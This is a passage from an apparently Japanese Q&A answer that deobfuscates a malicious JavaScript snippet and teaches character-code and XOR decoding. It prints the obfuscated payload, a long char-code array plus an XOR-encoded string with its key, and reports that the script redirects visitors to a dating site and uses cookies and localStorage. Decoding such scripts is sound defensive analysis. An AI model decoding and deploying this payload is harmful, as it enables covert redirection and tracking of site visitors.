7, 105 - 7, 83 - 8, 67 - 2, 65 - 9, 80 - 2, 82 - 3, 74 - 9, 99 - 9, 90 - 2, 80 - 1, 121 - 1, 96 - 7, 91 - 1, 68 - 3, 92 - 8, 60 - 8, 79 - 1, 73 - 2, 110 - 6, 93 - 8, 86 - 2, 71 - 4, 112 - 7, 119 - 7, 91 - 9, 109 - 7, 75 - 5, 92 - 6, 76 - 8, 89 - 6, 78 - 9, 113 - 9, 58 - 8, 88 - 3, 111 - 7, 66 - 1, 113 - 1, 94 - 7, 92 - 4, 49 - 1, 107 - 9, 78 - 3, 68 - 3, 60 - 4, 87 - 9, 87 - 8, 69 - 4, 91 - 1, 97 - 9, 77 - 3, 113 - 9, 104 - 5, 124 - 4, 76 - 9, 123 - 1, 70 - 1, 119 - 9, 76 - 8, 116 - 6, 59 - 6, 93 - 7, 79 - 7, 107 - 2, 66 - 1, 91 - 4, 82 - 5, 104 - 1, 82 - 9, 118 - 3, 92 - 8, 51 - 3, 77 - 7, 51 - 1, 87 - 2, 49 - 1, 85 - 3, 128 - 7, 91 - 4, 91 - 3, 111 - 7, 108 - 6, 87 - 6, 51 - 3, 109 - 5, 78 - 5, 109 - 9, 115 - 7, 83 - 9, 94 - 4, 99 - 1, 50 - 1, 110 - 2, 54 - 5, 76 - 7, 115 - 9, 88 - 2, 78 - 5, 73 - 1, 86 - 2, 101 - 2, 89 - 3, 73 - 1, 71 - 4, 72 - 3, 79 - 1, 107 - 6, 121 - 2, 105 - 6, 114 - 4, 77 - 9, 73 - 8, 50 - 2, 122 - 5, 81 - 1, 88 - 6, 62 - 5, 115 - 5, 96 - 8, 109 - 3, 107 - 8, 68 - 2, 85 - 5, 86 - 1, 61 - 4, 67 - 1, 106 - 6, 116 - 8, 83 - 5, 74 - 5, 100 - 1, 110 - 2, 115 - 7, 54 - 2, 97 - 9, 49 - 1, 83 - 5, 74 - 1, 87 - 4, 78 - 6, 97 - 7, 88 - 5, 89 - 2, 94 - 7, 64 - 7, 95 - 5, 107 - 7, 85 - 3, 74 - 1, 58 - 9, 85 - 2, 73 - 7, 49 - 1, 58 - 7, 77 - 7, 90 - 8, 123 - 4, 106 - 2, 75 - 7, 89 - 1, 116 - 1, 78 - 6, 78 - 4, 123 - 4, 120 - 1, 79 - 1, 82 - 6, 112 - 6, 49 - 1, 109 - 7, 95 - 5, 57 - 8, 57 - 5, 56 - 6, 75 - 3, 72 - 5, 111 - 8, 108 - 6, 73 - 7, 75 - 3, 75 - 5, 99 - 1, 94 - 7, 91 - 4, 56 - 3, 77 - 8, 103 - 6, 74 - 5, 55 - 2, 115 - 8, 96 - 9, 91 - 4, 82 - 8, 56 - 6, 93 - 8, 116 - 8, 116 - 8, 123 - 5, 92 - 5, 93 - 5, 95 - 9, 80 - 1, 101 - 4, 83 - 1, 85 - 4, 94 - 9, 106 - 6, 108 - 5, 104 - 5, 97 - 8, 79 - 4, 72 - 6, 120 - 1, 62 - 7, 80 - 9, 113 - 4, 102 - 3, 71 - 5, 74 - 8, 112 - 6, 82 - 9, 92 - 4, 69 - 4, 84 - 3, 73 - 8, 104 - 2, 105 - 3, 88 - 3, 111 - 4, 119 - 5, 66 - 1, 84 - 3, 97 - 8, 128 - 8, 88 - 2, 92 - 6, 71 - 5, 127 - 9, 88 - 1, 72 - 1, 111 - 7, 87 - 3, 100 - 3, 87 - 2, 89 - 3, 94 - 4, 91 - 3, 77 - 7, 79 - 5, 98 - 8, 106 - 8, 53 - 4, 112 - 4, 52 - 3, 85 - 1, 110 - 1, 116 - 8, 80 - 7, 76 - 6, 72 - 5, 118 - 6, 88 - 5, 77 - 9, 68 - 1, 56 - 4, 102 - 1, 84 - 7, 72 - 7, 72 - 7, 61 - 4, 84 - 2, 108 - 5, 72 - 3, 53 - 1, 79 - 9, 113 - 9, 120 - 1, 56 - 5, 86 - 8, 110 - 4, 83 - 5, 72 - 1, 105 - 7, 107 - 3, 76 - 7, 76 - 2, 86 - 6, 108 - 4, 50 - 2, 95 - 8, 101 - 4, 78 - 8, 69 - 3, 58 - 9, 85 - 1, 52 - 1, 90 - 8, 89 - 3, 88 - 5, 74 - 2, 120 - 4, 75 - 7, 89 - 4, 75 - 4, 65 - 9, 76 - 9, 91 - 3, 49 - 1, 56 - 3, 119 - 7, 88 - 5, 74 - 5, 105 - 1, 51 - 1, 87 - 2, 110 - 7, 123 - 8, 114 - 1, 69 - 1, 85 - 2, 73 - 8, 101 - 2, 81 - 7, 52 - 3, 82 - 4, 110 - 5, 101 - 1, 111 - 3, 76 - 2, 91 - 1, 105 - 7, 121 - 2, 87 - 5, 109 - 7, 93 - 3, 72 - 1, 117 - 9, 78 - 5, 89 - 6, 78 - 6, 96 - 7, 73 - 7, 80 - 8, 73 - 5, 123 - 8, 120 - 4, 83 - 3, 72 - 7, 78 - 1, 122 - 7, 70 - 4, 129 - 9, 52 - 4, 106 - 1, 92 - 5, 105 - 1, 63 - 7, 59 - 5, 71 - 1, 124 - 2, 97 - 8, 99 - 2, 82 - 9, 68 - 3, 100 - 1, 78 - 7, 105 - 3, 112 - 4, 119 - 3, 91 - 1, 84 - 6, 76 - 4, 86 - 8, 58 - 9, 91 - 7, 113 - 4, 117 - 9, 77 - 4, 91 - 8, 80 - 8, 90 - 1, 67 - 1, 75 - 3, 72 - 4, 122 - 7, 62 - 8, 87 - 8, 110 - 7, 78 - 9, 111 - 6, 69 - 4, 85 - 4, 51 - 2, 49 - 6, 77 - 8, 83 - 1, 98 - 9, 107 - 4, 71 - 2, 113 - 7, 125 - 6, 80 - 4, 94 - 4, 92 - 7, 113 - 9, 84 - 4, 93 - 3, 51 - 3, 73 - 7, 81 - 6, 106 - 9, 76 - 6, 89 - 3, 54 - 5, 88 - 1, 89 - 1, 120 - 8, 95 - 6, 85 - 4, 96 - 9, 54 - 5, 60 - 8, 94 - 7, 94 - 7, 66 - 9, 95 - 5, 106 - 6, 93 - 8, 59 - 6, 118 - 6, 68 - 2, 67 - 2, 106 - 7, 53 - 4, 73 - 4, 127 - 7, 91 - 6, 103 - 4, 76 - 8, 91 - 7, 117 - 6, 101 - 2, 77 - 2, 72 - 7, 60 - 4, 85 - 7, 104 - 3, 74 - 9, 75 - 6, 108 - 9, 82 - 3, 130 - 8, 72 - 7, 107 - 3, 76 - 9, 129 - 8, 84 - 2, 73 - 8, 74 - 7, 123 - 1, 108 - 1, 105 - 5, 75 - 6, 107 - 2, 98 - 9, 106 - 7, 104 - 3, 88 - 3, 61 - 8, 121 - 4, 90 - 3, 91 - 6, 59 - 2, 48 - 1, 88 - 5, 95 - 7, 85 - 7, 126 - 8, 92 - 5, 89 - 1, 88 - 2, 87 - 8, 102 - 5, 94 - 9, 111 - 8, 105 - 3, 86 - 6, 128 - 8, 121 - 2, 105 - 5, 78 - 5, 67 - 2, 55 - 2, 63 - 8, 74 - 9, 111 - 6, 91 - 2, 78 - 2, 68 - 1, 87 - 4, 74 - 1, 103 - 5, 79 - 9, 106 - 1, 78 - 8, 95 - 5, 99 - 2, 76 - 7, 61 - 9, 45 - 2, 86 - 8, 122 - 3, 85 - 4, 61 - 8, 75 - 6, 89 - 7, 111 - 8, 59 - 4, 70 - 1, 74 - 6, 117 - 6, 71 - 6, 106 - 7, 117 - 8, 77 - 3, 82 - 9, 102 - 2, 114 - 6, 81 - 7, 95 - 5, 80 - 3, 112 - 4, 94 - 8, 53 - 4, 93 - 5, 76 - 4, 116 - 8, 80 - 7, 88 - 7, 117 - 7, 96 - 6, 74 - 6, 86 - 3, 93 - 5, 60 - 3, 77 - 3, 109 - 7, 72 - 2, 95 - 9, 72 - 4, 92 - 9, 71 - 2, 112 - 9, 115 - 1, 107 - 6, 76 - 6, 112 - 4, 127 - 9, 81 - 9, 129 - 8, 70 - 5, 69 - 4, 81 - 6, 105 - 1, 123 - 4, 71 - 5, 83 - 4, 86 - 4, 128 - 8, 92 - 2, 84 - 4, 70 - 4, 125 - 6, 106 - 2, 82 - 6, 88 - 5, 97 - 8, 73 - 1, 67 - 2, 124 - 2, 61 - 5, 96 - 8, 86 - 1, 89 - 6, 127 - 8, 112 - 3, 85 - 6, 127 - 8, 60 - 4, 111 - 4, 74 - 6, 88 - 3, 83 - 1, 54 - 4, 75 - 9, 75 - 9, 109 - 6, 114 - 8, 74 - 6, 69 - 1, 69 - 3, 71 - 4, 101 - 4, 85 - 4, 54 - 6, 90 - 9, 84 - 7, 106 - 2, 82 - 5, 74 - 9, 89 - 9, 76 - 6, 70 - 4, 54 - 5, 74 - 4, 92 - 7, 81 - 3, 75 - 2, 86 - 3, 77 - 5, 96 - 6, 85 - 2, 73 - 5, 125 - 4, 57 - 5, 81 - 5, 105 - 5, 84 - 3, 117 - 2, 121 - 1, 77 - 9, 67 - 2, 112 - 5, 106 - 1, 74 - 4, 54 - 5, 116 - 8, 130 - 9, 93 - 6, 91 - 7, 117 - 2, 82 - 6, 88 - 8, 115 - 8, 111 - 8, 121 - 6, 85 - 7, 120 - 1, 95 - 6, 105 - 6, 97 - 7, 53 - 4, 75 - 9, 125 - 8, 96 - 6, 77 - 6, 110 - 2, 78 - 5, 89 - 6, 78 - 6, 93 - 4, 94 - 6, 68 - 3, 87 - 4, 123 - 8, 97 - 8, 80 - 7, 88 - 7, 120 - 4, 113 - 3, 80 - 9, 125 - 6, 52 - 4, 112 - 7, 84 - 6, 111 - 7, 109 - 6, 60 - 5, 79 - 7, 79 - 7, 55 - 7, 79 - 3, 83 - 6, 89 - 8, 121 - 2, 83 - 9, 74 - 1, 112 - 8, 103 - 3, 95 - 7, 82 - 7, 73 - 7, 126 - 7, 107 - 3, 80 - 5, 114 - 9, 104 - 1, 104 - 5, 71 - 3, 90 - 2, 61 - 8, 100 - 2, 92 - 5, 88 - 1, 91 - 9, 94 - 4, 80 - 3, 72 - 6, 94 - 5, 120 - 4, 76 - 9, 90 - 8, 75 - 6, 116 - 8, 95 - 8, 53 - 5, 82 - 8, 71 - 1, 88 - 1, 95 - 7, 90 - 4, 82 - 3, 98 - 1, 86 - 4, 53 - 1, 80 - 6, 79 - 5, 78 - 8, 74 - 1, 99 - 2, 74 - 5, 67 - 2, 65 - 9, 56 - 8, 73 - 8, 108 - 2, 125 - 6, 85 - 7, 85 - 2, 75 - 4, 123 - 7, 91 - 8, 74 - 2, 76 - 8, 126 - 7, 100 - 3, 82 - 4, 73 - 7, 54 - 2, 119 - 4, 82 - 1, 73 - 7, 59 - 7, 52 - 1, 78 - 6, 106 - 3, 124 - 5, 117 - 4, 93 - 8, 77 - 5, 92 - 6, 73 - 3, 102 - 5, 89 - 4, 74 - 8, 67 - 2, 81 - 4, 121 - 2, 119 - 8, 109 - 9, 79 - 3, 108 - 5, 69 - 4, 112 - 3, 89 - 5, 112 - 2, 88 - 6, 93 - 7, 92 - 9, 71 - 3, 106 - 3, 80 - 8, 71 - 1, 86 - 3, 84 - 6, 88 - 7, 105 - 5, 95 - 9, 71 - 1, 120 - 8, 86 - 2, 56 - 8, 65 - 8, 55 - 5, 89 - 6, 75 - 5, 110 - 2, 116 - 5, 90 - 9, 119 - 9, 93 - 8, 78 - 2, 84 - 7, 86 - 4, 108 - 5, 74 - 8, 76 - 2, 73 - 7, 102 - 3, 79 - 4, 101 - 2, 117 - 9, 56 - 3, 58 - 9, 85 - 3, 90 - 3, 110 - 3, 81 - 3, 77 - 8, 71 - 3, 78 - 5, 86 - 2, 72 - 4, 85 - 2, 119 - 7, 93 - 5, 77 - 4, 90 - 9, 70 - 1, 103 - 4, 89 - 9, 69 - 2, 120 - 5, 79 - 9, 75 - 9, 107 - 4, 124 - 9, 110 - 1, 76 - 6, 131 - 9, 75 - 1, 73 - 2, 90 - 1, 71 - 2, 73 - 3, 90 - 6, 93 - 5, 73 - 3, 77 - 3, 99 - 9, 101 - 3, 58 - 9, 109 - 2, 122 - 2, 66 - 1, 87 - 4, 119 - 8, 107 - 7, 74 - 8, 86 - 2, 81 - 4, 100 - 1, 76 - 8, 92 - 5, 77 - 8, 104 - 7, 84 - 5, 108 - 5, 73 - 4, 106 - 1, 73 - 8, 86 - 5, 53 - 4, 55 - 5, 85 - 1, 57 - 8, 112 - 5, 122 - 7, 83 - 9, 110 - 4, 124 - 9, 85 - 5, 76 - 2, 71 - 6, 56 - 7, 82 - 9, 106 - 4, 92 - 6, 82 - 8, 104 - 3, 102 - 3, 110 - 2, 62 - 9, 57 - 8, 83 - 1, 92 - 5, 109 - 2, 83 - 7, 83 - 5, 127 - 6, 67 - 2, 91 - 7, 77 - 7, 92 - 8, 113 - 2, 105 - 6, 106 - 8, 116 - 7, 91 - 9, 118 - 6, 86 - 3, 69 - 3, 93 - 7, 104 - 5, 110 - 9, 71 - 1, 116 - 8, 121 - 3, 69 - 1, 127 - 5, 82 - 1, 104 - 5, 98 - 1, 91 - 9, 112 - 1, 80 - 2, 82 - 4, 124 - 4, 91 - 2, 72 - 7, 76 - 4, 74 - 9, 52 - 4, 49 - 1, 74 - 3, 111 - 6, 126 - 7, 122 - 8, 74 - 9, 69 - 1, 78 - 1, 84 - 2, 75 - 6, 108 - 5, 97 - 8, 94 - 6, 76 - 3, 88 - 7, 122 - 7, 56 - 1, 77 - 5, 108 - 5, 109 - 2, 61 - 7, 89 - 4, 108 - 1, 90 - 8, 122 - 4, 70 - 3, 111 - 5, 67 - 2, 98 - 1, 71 - 6, 70 - 5, 97 - 8, 108 - 9, 82 - 5, 126 - 7, 72 - 7, 84 - 4, 79 - 3, 110 - 6, 92 - 6, 61 - 4, 69 - 2, 70 - 2, 125 - 6, 77 - 6, 68 - 1, 126 - 5, 77 - 4, 107 - 9, 74 - 4, 109 - 4, 79 - 9, 89 - 7, 109 - 7, 74 - 5, 57 - 5, 127 - 6, 92 - 3, 114 - 7, 106 - 2, 54 - 4, 94 - 9, 117 - 9, 112 - 5, 110 - 1, 77 - 5, 54 - 3, 91 - 5, 76 - 5, 84 - 8, 82 - 1, 107 - 8, 78 - 2, 78 - 5, 126 - 6, 59 - 3, 104 - 5, 77 - 4, 83 - 2, 50 - 1, 57 - 2, 81 - 9, 69 - 2, 127 - 8, 78 - 4, 72 - 4, 73 - 6, 65 - 9, 109 - 5, 75 - 7, 92 - 9, 56 - 4, 80 - 2, 78 - 1, 76 - 7, 58 - 5, 56 - 8, 95 - 9, 88 - 2, 95 - 9, 51 - 1, 91 - 5, 90 - 8, 116 - 5, 104 - 1, 75 - 5, 76 - 9, 93 - 8, 69 - 2, 85 - 9, 73 - 7, 125 - 6, 80 - 2, 101 - 2, 93 - 5, 105 - 1, 96 - 6, 99 - 1, 50 - 1, 110 - 2, 58 - 9, 93 - 9, 116 - 7, 112 - 4, 79 - 6, 92 - 9, 69 - 2, 114 - 3, 83 - 4, 93 - 6, 87 - 4, 123 - 8, 94 - 7, 80 - 2, 111 - 7, 123 - 8, 114 - 7, 76 - 8, 87 - 6, 91 - 2, 107 - 2, 96 - 8, 70 - 5, 117 - 2, 120 - 7, 73 - 2, 73 - 5, 76 - 7, 94 - 6, 80 - 9, 105 - 1, 123 - 4, 83 - 9, 79 - 6, 110 - 6, 106 - 6, 98 - 8, 105 - 6, 114 - 7, 84 - 2, 56 - 7, 85 - 2, 84 - 1, 67 - 2, 79 - 8, 73 - 1, 73 - 5, 78 - 1, 74 - 9, 78 - 7, 68 - 1, 128 - 9, 82 - 4, 86 - 6, 69 - 3, 106 - 3, 124 - 9, 87 - 3, 50 - 2, 77 - 7, 56 - 6, 75 - 8, 90 - 2, 84 - 6, 121 - 3, 93 - 6, 91 - 3, 87 - 1, 80 - 1, 103 - 6, 93 - 8, 107 - 4, 80 - 4, 80 - 1, 105 - 1, 102 - 3, 93 - 4, 86 - 6, 93 - 9, 74 - 9, 57 - 2, 78 - 7, 109 - 4, 127 - 8, 98 - 1, 75 - 3, 115 - 9, 101 - 2, 110 - 9, 94 - 9, 87 - 3, 52 - 4, 106 - 7, 82 - 4, 71 - 6, 117 - 6, 125 - 6, 80 - 1, 121 - 1, 121 - 2, 59 - 8, 72 - 6, 105 - 1, 124 - 5, 86 - 9, 77 - 8, 91 - 7, 73 - 8, 80 - 2, 81 - 8, 109 - 4, 75 - 6, 79 - 8, 81 - 8, 112 - 8, 105 - 6, 82 - 6, 81 - 2, 89 - 7, 109 - 6, 61 - 8, 89 - 7, 59 - 8, 82 - 8, 107 - 2, 88 - 5, 76 - 4, 99 - 9, 92 - 9, 92 - 5, 92 - 5, 66 - 9, 96 - 6, 76 - 2, 111 - 7, 112 - 1, 116 - 5, 77 - 6, 111 - 7, 124 - 4, 52 - 9, 94 - 7, 55 - 7, 83 - 9, 73 - 3, 93 - 6, 89 - 1, 92 - 6, 87 - 8, 99 - 2, 90 - 8, 95 - 9, 113 - 8, 107 - 7, 114 - 6, 80 - 7, 70 - 1, 95 - 6, 58 - 9, 110 - 2, 115 - 8, 96 - 8, 114 - 5, 70 - 4, 88 - 4, 92 - 3, 116 - 8, 128 - 9, 83 - 3, 92 - 7, 96 - 9, 97 - 7, 87 - 6, 106 - 8, 111 - 2, 86 - 4, 70 - 2, 41 - 2, 61 - 2, 11 - 1, 108 - 6, 119 - 2, 117 - 7, 103 - 4, 117 - 1, 112 - 7, 113 - 2, 116 - 6, 33 - 1, 128 - 8, 114 - 3, 115 - 1, 102 - 7, 103 - 2, 113 - 3, 101 - 2, 49 - 9, 120 - 5, 117 - 1, 123 - 9, 110 - 5, 114 - 4, 109 - 6, 49 - 5, 41 - 9, 115 - 8, 107 - 6, 122 - 1, 49 - 8, 33 - 1, 131 - 8, 16 - 6, 41 - 9, 33 - 1, 123 - 5, 101 - 4, 115 - 1, 35 - 3, 117 - 3, 102 - 1, 118 - 3, 38 - 6, 62 - 1, 35 - 3, 48 - 9, 42 - 3, 67 - 8, 17 - 7, 34 - 2, 38 - 6, 109 - 7, 112 - 1, 116 - 2, 33 - 1, 44 - 4, 119 - 1, 100 - 3, 115 - 1, 36 - 4, 112 - 7, 40 - 8, 64 - 3, 41 - 9, 51 - 3, 63 - 4, 39 - 7, 108 - 3, 40 - 8, 63 - 3, 35 - 3, 119 - 4, 121 - 5, 123 - 9, 113 - 8, 113 - 3, 106 - 3, 47 - 1, 115 - 7, 108 - 7, 116 - 6, 110 - 7, 124 - 8, 107 - 3, 66 - 7, 34 - 2, 109 - 4, 46 - 3, 51 - 8, 43 - 2, 37 - 5, 127 - 4, 13 - 3, 41 - 9, 33 - 1, 33 - 1, 36 - 4, 118 - 4, 104 - 3, 120 - 5, 39 - 7, 52 - 9, 63 - 2, 37 - 5, 88 - 5, 124 - 8, 121 - 7, 111 - 6, 119 - 9, 109 - 6, 53 - 7, 105 - 3, 123 - 9, 117 - 6, 112 - 3, 72 - 5, 111 - 7, 105 - 8, 116 - 2, 71 - 4, 120 - 9, 105 - 5, 103 - 2, 49 - 9, 117 - 2, 122 - 6, 117 - 3, 106 - 1, 117 - 7, 107 - 4, 55 - 9, 101 - 2, 105 - 1, 100 - 3, 119 - 5, 69 - 2, 113 - 2, 103 - 3, 103 - 2, 73 - 8, 121 - 5, 49 - 9, 107 - 2, 47 - 6, 35 - 3, 103 - 9, 18 - 8, 33 - 1, 37 - 5, 34 - 2, 38 - 6, 36 - 4, 33 - 1, 37 - 5, 39 - 7, 35 - 3, 33 - 1, 35 - 3, 39 - 7, 39 - 7, 37 - 5, 38 - 6, 37 - 5, 35 - 3, 40 - 8, 40 - 8, 41 - 9, 36 - 4, 38 - 6, 41 - 9, 39 - 7, 37 - 5, 39 - 7, 41 - 9, 34 - 2, 33 - 1, 36 - 4, 37 - 5, 38 - 6, 111 - 4, 108 - 7, 123 - 2, 54 - 8, 101 - 2, 105 - 1, 101 - 4, 119 - 5, 70 - 3, 115 - 4, 102 - 2, 105 - 4, 68 - 3, 122 - 6, 49 - 9, 111 - 6, 39 - 7, 40 - 3, 35 - 3, 114 - 7, 104 - 3, 125 - 4, 48 - 2, 114 - 6, 102 - 1, 112 - 2, 104 - 1, 124 - 8, 113 - 9, 46 - 5, 47 - 6, 65 - 6, 11 - 1, 39 - 7, 39 - 7, 129 - 4, 12 - 2, 38 - 6, 37 - 5, 123 - 9, 102 - 1, 119 - 3, 119 - 2, 120 - 6, 112 - 2, 41 - 9, 122 - 8, 104 - 3, 117 - 2, 61 - 2, 13 - 3, 126 - 1, 13 - 3, 17 - 7, 126 - 8, 104 - 7, 115 - 1, 37 - 5, 104 - 4, 108 - 7, 100 - 1, 36 - 4, 69 - 8, 33 - 1, 128 - 8, 113 - 2, 120 - 6, 97 - 2, 105 - 4, 112 - 2, 108 - 9, 46 - 6, 103 - 6, 124 - 8, 117 - 6, 101 - 3, 45 - 5, 106 - 5, 116 - 6, 106 - 7, 109 - 8, 103 - 3, 46 - 5, 47 - 3, 41 - 9, 115 - 8, 109 - 8, 126 - 5, 43 - 2, 61 - 2, 18 - 8, 46 - 6, 114 - 4, 108 - 7, 126 - 7, 39 - 7, 74 - 4, 125 - 8, 119 - 9, 108 - 9, 122 - 6, 114 - 9, 114 - 3, 111 - 1, 41 - 1, 104 - 4, 105 - 4, 104 - 5, 44 - 3, 47 - 6, 49 - 9, 45 - 4, 68 - 9, 14 - 4, 16 - 6);\n```\n\n```\n\n <div id=\"console\"></div>\n```\n\n```\n\n var key = 'hhVryOyUnI';\r\n var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';\r\n function xor_enc(string, key) {\r\n var res = '';\r\n for (var i = 0; i < string.length; i++) {\r\n res += String.fromCharCode(string.charCodeAt(i) ^\r\n key.charCodeAt(i % key.length));\r\n }\r\n return res;\r\n }\r\n \r\n var dec = xor_enc(atob(enced), key);\r\n //コードを表示\r\n document.getElementById(\"console\").innerText=dec;\r\n //実行はしたくないので無効化\r\n //(new Function(dec))();\n```\n\n```\n\n <div id=\"console\"></div>\n```\n\n* * *\n\nそれでエンコードした文字列が更にエンコードしないといけない文字列になっていたので関数名\"xor_enc\"で調べました。 \nすると下記の質問がありました。 \nご質問者様と同じ質問ですね。 \n<https://security.stackexchange.com/a/131777>\n\nシンガポールのサーバにある出会い系サイトに転送(リダイレクト)するのがこのコードの内容になるようですね。\n\n* * *\n\n基本的に実行すると不具合を起こす可能性があるのでスクリプトを調査するのであれば慎重にするか誰かに頼むといいです(今回のように) \nまずはJavaScriptなどの関数を覚えるか、調べるところから始めましょう \n難読化しているものは人間が読めない内容なだけで、文字コードで書かれていることには変わらないです。 \n文字コードに変換しているということは復号やエンコード・デコードをしているはずで、 \n元に戻している箇所を1つ1つ追っていくと結果にたどり着きます。 \nただし調査は実行してしまうリスクもあるのでその点だけは注意してください。\n\n* * *\n\n**このコードに使用されている主要な関数**\n\n[String.fromCharCode関数](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode)\n\n[atob関数](https://developer.mozilla.org/ja/docs/Web/API/WindowBase64/atob)\n\n[String.prototype.charCodeAt()](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt)\n\n[document.cookie](https://developer.mozilla.org/ja/docs/Web/API/Document/cookie)\n\n[window.navigator.userAgent](https://developer.mozilla.org/ja/docs/Web/API/NavigatorID/userAgent)\n\n[window.localStorage](https://developer.mozilla.org/ja/docs/Web/API/Window/localStorage)\n\n[escape](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/escape)\n\n[document.readyState](https://developer.mozilla.org/ja/docs/Web/API/Document/readyState)\n\n* * *\n\n**1段階目の変換について** \nまずUnicodeとは文字を表現するために用いられる規格です。[Unicode対応表](https://unicode-table.com/en/) \nリンク先は16進数ですが、JavaScriptでは10進で変換します。\n\n```\n\n //例えば\"a\"という文字のコード\r\n var test=\"a\";\r\n //97という数値になります。\r\n alert(test.charCodeAt(0));\r\n //要するにUnicodeでは97番目の数値は\"a\"が宣言されているわけなので\r\n \r\n //97番目のコードが何か調べると\"a\"が出てきます。\r\n alert(String.fromCharCode(97));\r\n \r\n //では、質問文の1~3文字目がなにか?\r\n alert(String.fromCharCode(19 - 9));//改行コード\r\n alert(String.fromCharCode(126 - 8));//v\r\n alert(String.fromCharCode(100 - 3));//a\r\n alert(String.fromCharCode(122 - 8));//r\r\n \r\n //変数宣言が出てくるわけです。\n```\n\n* * *\n\n**2段階目の変換について** \nついでなので2段階目も説明します。\n\nxorとは2進数で使われる論理演算の1つで、 \n排他的論理和(exclusive or)と呼ばれるものです。 \nドチラか片方が1の時のみ1を返すという計算式です。 \n1 1 → 0 \n1 0 → 1 \n0 1 → 1 \n0 0 → 0\n\n例えば`12^10`のxorの場合は下記のようになります。\n\n```\n\n var twelve = parseInt(12).toString(2);\r\n console.log(twelve);\r\n var ten = parseInt(10).toString(2);\r\n console.log(ten);\r\n //1100\r\n //1010\r\n //----\r\n //0110\r\n \r\n //※10進数に変換\r\n //8 4 2 1 ←桁の重み(2の冪乗):ON(1)になっているもののみカウント\r\n //0 1 1 0\r\n //-------\r\n //0+4+2+0 = 6\r\n \r\n var result = 12^10;\r\n console.log(result + \" : \" + parseInt(\"0110\",2));\n```\n\n`charCodeAt`:指定文字目の文字コードを取得\n\n```\n\n var key = 'hhVryOyUnI';\n key.charCodeAt(0);//h = 104\n key.charCodeAt(1);//h = 104\n key.charCodeAt(2);//V = 86\n key.charCodeAt(3);//r = 114\n key.charCodeAt(4);//y = 121\n key.charCodeAt(5);//O = 79\n key.charCodeAt(6);//y = 121\n key.charCodeAt(7);//U = 85\n key.charCodeAt(8);//n = 110\n key.charCodeAt(9);//I = 73\n \n```\n\n```\n\n //命名の由来は\"XOR Encode\"でしょうか…\n function xor_enc(string, key) {\n //返却用文字列初期化\n var res = '';\n //渡された文字を1つずつ処理\n for (var i = 0; i < string.length; i++) {\n //stringのi文字目 XOR keyを0~9番目を繰り返し参照\n //上記の数値のコードから文字に変換し文字列の末尾に追加\n res += String.fromCharCode(string.charCodeAt(i) ^ key.charCodeAt(i % key.length));\n }\n //結果出来上がった文字列を返却\n return res;\n }\n \n //atob:base64形式でデコード\n var dec = xor_enc(atob(enced), key);\n \n```\n\n* * *\n\n変換に苦労しているようなので第一段階を表にしました。ご活用ください。 